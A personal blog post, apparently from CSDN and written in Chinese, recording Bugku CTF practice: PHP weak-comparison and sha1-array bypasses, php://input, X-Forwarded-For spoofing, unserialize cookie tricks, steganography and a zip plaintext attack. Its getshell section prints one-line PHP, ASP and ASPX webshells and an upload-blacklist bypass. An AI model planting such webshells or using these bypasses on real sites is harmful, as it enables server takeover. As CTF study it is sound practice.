最近

关于博客:

在网上找教程,想用GitHub搭建博客,目前步骤完成了一半,但是家里网速实在是慢,GitHub for Windows 一直下载不下来,就卡在这一步了…我用上一次发在CSDN的文章试了一下,虽然很慢,不过现在能显示这个样子,但是更多功能做不出来。
在这里插入图片描述

上次做题:

我觉得比较值得记录的一个题是那个小姐姐,打开图片的时候发现中间对不上,就一直在想是不是图片不全,中间少了一条,或者两个图片拼接什么的,但是一直没做出来,binwalk也跑不出来,最后改文件后缀为tx,t然后搜索xjj才出来的,让我比较惊讶…其他还有一个圣火昭昭那个,在图片属性备注中找到了“新佛曰:諸壽隸僧壽降吽壽諸壽陀壽摩隸僧缽薩願心壽咤壽囉寂壽闍諸壽哆壽慧壽聞壽色吽愍壽所壽蜜如”,用“与佛论禅”没解出来,然后用“新约佛论禅”解得“gemlovecom”,但是提交一直不对…其他的题感觉没什么…
然后web没有写,因为我最开始没有找到网址,后来找到了,但是打不开,我以为是我找错了或者进入方法不对。我最近觉得我应该着重搞web的,但是我最近一直都在学杂项,学得也不系统,我觉得我要把重心放在web上,然后学学杂项,也学学别的。

最近学习:

感觉一直没怎么做web题,东西都快忘完了,然后发现bp也用不了了,又重装bp,复习了之前的东西,然后发现自己对web方面的知识了解得非常少,只会简单的代码审计和简单的bp操作;另外还复习了编程语言,开始学习web题的其他套路。

bugku的题

md5 collision(MD5绕过)
构造如下payload即可http://123.206.87.240:9009/md5.php?a=s878926199a
never give up
首先打开之后只有一行字,然后查看元素,发现“1p.html”,访问发现是bugku主页,后面就不会了,看了别人的wp才明白
访问 1p.html ,发现页面自动跳转到bugku首页,应该是有 window.location.href 之类的重定向

window.location.href 返回当前页面的 href (URL)
window.location.hostname 返回 web 主机的域名
window.location.pathname 返回当前页面的路径或文件名
window.location.protocol 返回使用的 web 协议(http: 或 https:)
window.location.assign 加载新文档
self.location.href;//当前页面打开URL页面  
this.location.href;//当前页面打开URL页面  
location.href;// 当前页面打开URL页面  
parent.location.href;//在父页面打开新页面   
top.location.href;//在顶层页面打开新页面

直接查看1p.html的源码,在链接前面加 **view-source:**即:view-source:http://123.206.87.240:8006/test/1p.html
得到:
在这里插入图片描述将注释文字进行base64解密得到url,再次解密得到代码
在这里插入图片描述在这里插入图片描述

1 "<script>window.location.href='http://www.bugku.com';</script> 
2 <!--";if(!$_GET['id'])
3 {
4 	header('Location: hello.php?id=1');
5 	exit();
6 }
7 $id=$_GET['id'];
8 $a=$_GET['a'];
9 $b=$_GET['b'];
10 if(stripos($a,'.')) 
11 {
12 	echo 'no no no no no no no';
13 	return ;
14 }
15 $data = @file_get_contents($a,'r');  
16 if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)17 {
18 	require("f4l2a3g.txt");
19 }
20 else
21 {
22 	print "never never never give up !!!";
23 }
24 ?-->
require("f4l2a3g.txt"); 

试试直接查看 f4l2a3g.txt 即构造 http://123.206.87.240:8006/test/f4l2a3g.txt发现可以得到flag。
还有第二种更严谨的方法:
行2:限制 URL 查询字符串中必须有非空非零变量 id
行10:限制变量 $a 中不能含有字符
行16:要满足以下 5 条表达式才会爆 flag:
①变量 $data 弱等于字符串 bugku is a nice plateform!
②变量 $id 弱等于整型数0
③变量 $b 的长度大于 5
④ 字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
⑤变量 $b 的第一个字符弱不等于整型数 4

PHP比较
在这里插入图片描述构造payload

变量 $id 若想满足非空非零且弱等于整型数 0,则 $id 的值只能为非空非零字符串,这里假设 $id = “asd”。 源码中变量
$data 是由 file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流。
在服务器中自定义一个内容为 bugku is a nice plateform! 文件,再把此文件路径赋值给
$a,显然不太现实。因此这里用伪协议 php:// 来访问输入输出的数据流,其中
php://input可以访问原始请求数据中的只读流。这里令 $a = “php://input”,并在请求主体中提交字符串 bugku
is a nice plateform!。

http://123.206.87.240:8006/test/hello.php?id="asd"&b=%0012345&a=php://input

然后抓包可得flag

程序员本地登录
在bp中添加一个X-Forwarded-For 127.0.0.1请求头即可

各种绕过

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?> 

由代码得,uname≠passwd,但是sha1(uname)=sha1(passwd), 且id=margin
sha1:sha1只对字符型进行处理,是数组的话返回false。
所以构造payload:http://123.206.87.240:8002/web7/?id=margin&uname[]=1然后将passwd[]=2以post方式传入即可。

本地登录 bp抓包之后添加X-Forwarded-For: 127.0.0.1即可

web8
打开之后看到这样的代码:

<?php
extract($_GET); //extract() 函数从数组中将变量导入到当前的符号表。
if (!empty($ac))
{
$f = trim(file_get_contents($fn)); //trim()去除字符串首尾处的空白字符(或者其他字符)
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

即ac与f恒等,且ac不能为空,f的值需要从fn文件读取。

构造payload:http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt即可得到flag。

细心
打开404,我差点就要关标签页了…因为有题目真的404,但是它这个404跟其他的又不太一样,百度查了之后才知道:一般网站都会有robots.txt文件的,存放可以直接访问的文件子目录
构造urlhttp://123.206.87.240:8002/web13/robots.txt,得到:在这里插入图片描述
再进入resusl.php,发现有个变量x
在这里插入图片描述
根据提示尝试输入x=admin,得到flag

求getshell

getshell是指利用漏洞获取一定的服务器权限就是getshell,如果是web漏洞就叫webshell,还有别的shell,ftp、sql、3899、4899等等,一般来说这个shell权限很低,需要提权后才能获取服务器的管理员权限。

先随意上传一个jpg文件,考虑绕过,bp抓包修改内容为一句话木马,再把扩展名改为php

php的一句话是: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request (“pass”)%>
aspx的一句话是: <%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>

但是发现不可以,查过之后发现还有两个地方要改“
请求头里的Content-Type字段,进行大小写绕过,也就是把multipart/form-data中任意一个字母改成大写
文件后缀这里是黑名单过滤来判断,依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)php5可以
在这里插入图片描述
黑名单过滤
常用的绕过方式总结

flag.php
根据提示,在url中尝试加入?hint,得到php代码

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}

这一段是主要内容,意思是如果cookie的反序列化值等于$KEY,就可以得到flag。
而且KEY的值还没有被定义,所以上面代码中$KEY的值应该是NULL,而不是下面的值,所以应该是反序列化的值为NULL。
在php在线运行网站输入如下代码得到反序列化的NULL值为s:0:""
在这里插入图片描述然后用bp抓包,修改Cookie:ISecer=s:0:""即可得到flag

杂项
多彩
保存图片之后用StegSolve打开,发现YSL
用DataExtract查看发现隐藏了压缩文件,保存下来
在这里插入图片描述保存为zip格式打不开
保存为rar打开发现有一个flag.txt,但是打开需要密码,我就卡在这里了。
然后再查百度才知道,要找到原图中包括的颜色的16进制编码,转换为字符就是密码
…这谁想得到啊…
用电脑自带的“画画3D”打开选择取色器即可得到十六进制码
在这里插入图片描述
得到所有的十六进制码:

BC0B28D04179D47A6FC2696FEB8262CF1A77C0083EBC0B28BC0B28D132746A1319BC0B28BC0B28D4121DD75B59DD8885CE0A4AD4121D7E453AD75B59DD8885

然后再一 一转为二进制,然后再将转为字符串,得到密码:白学家
解开压缩包,得到flag

这个要不是看人家的wp我真的一头雾水…
还有另外一个大佬的解法

旋转跳跃
之前一直做的都是图片隐写,这是第一个音频隐写
下载工具MP3Stego

然后将MP3文件放入MP3Stego目录中,cmd进入该目录,输入

Decode -X -P syclovergeek sycgeek-mp3.mp3

Decode -X -P 密码 文件名
本题中的密码是题目中给出的

解码之后解码之后得到一个txt文件,文件内容即是flag

乌云邀请码
用stegsolve打开即可
在这里插入图片描述神秘的文件

这个打开之后里面又一个压缩包,而且需要密码,但是没有关于密码的提示
不过两个压缩包里面都有logo.png,可以用明文攻击
将第一个压缩包中的logo.png压缩为zip文件,作为明文文件,然后选择攻击类型为明文即可。
在这里插入图片描述得到密码为q1w2e3r4
打开压缩包得到docx文件,打不开,用winhex查看发现里面有一个flag.txt文件
更改后缀为rar,打开flag.txt,里面有一段base64加密的内容,解码即可。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值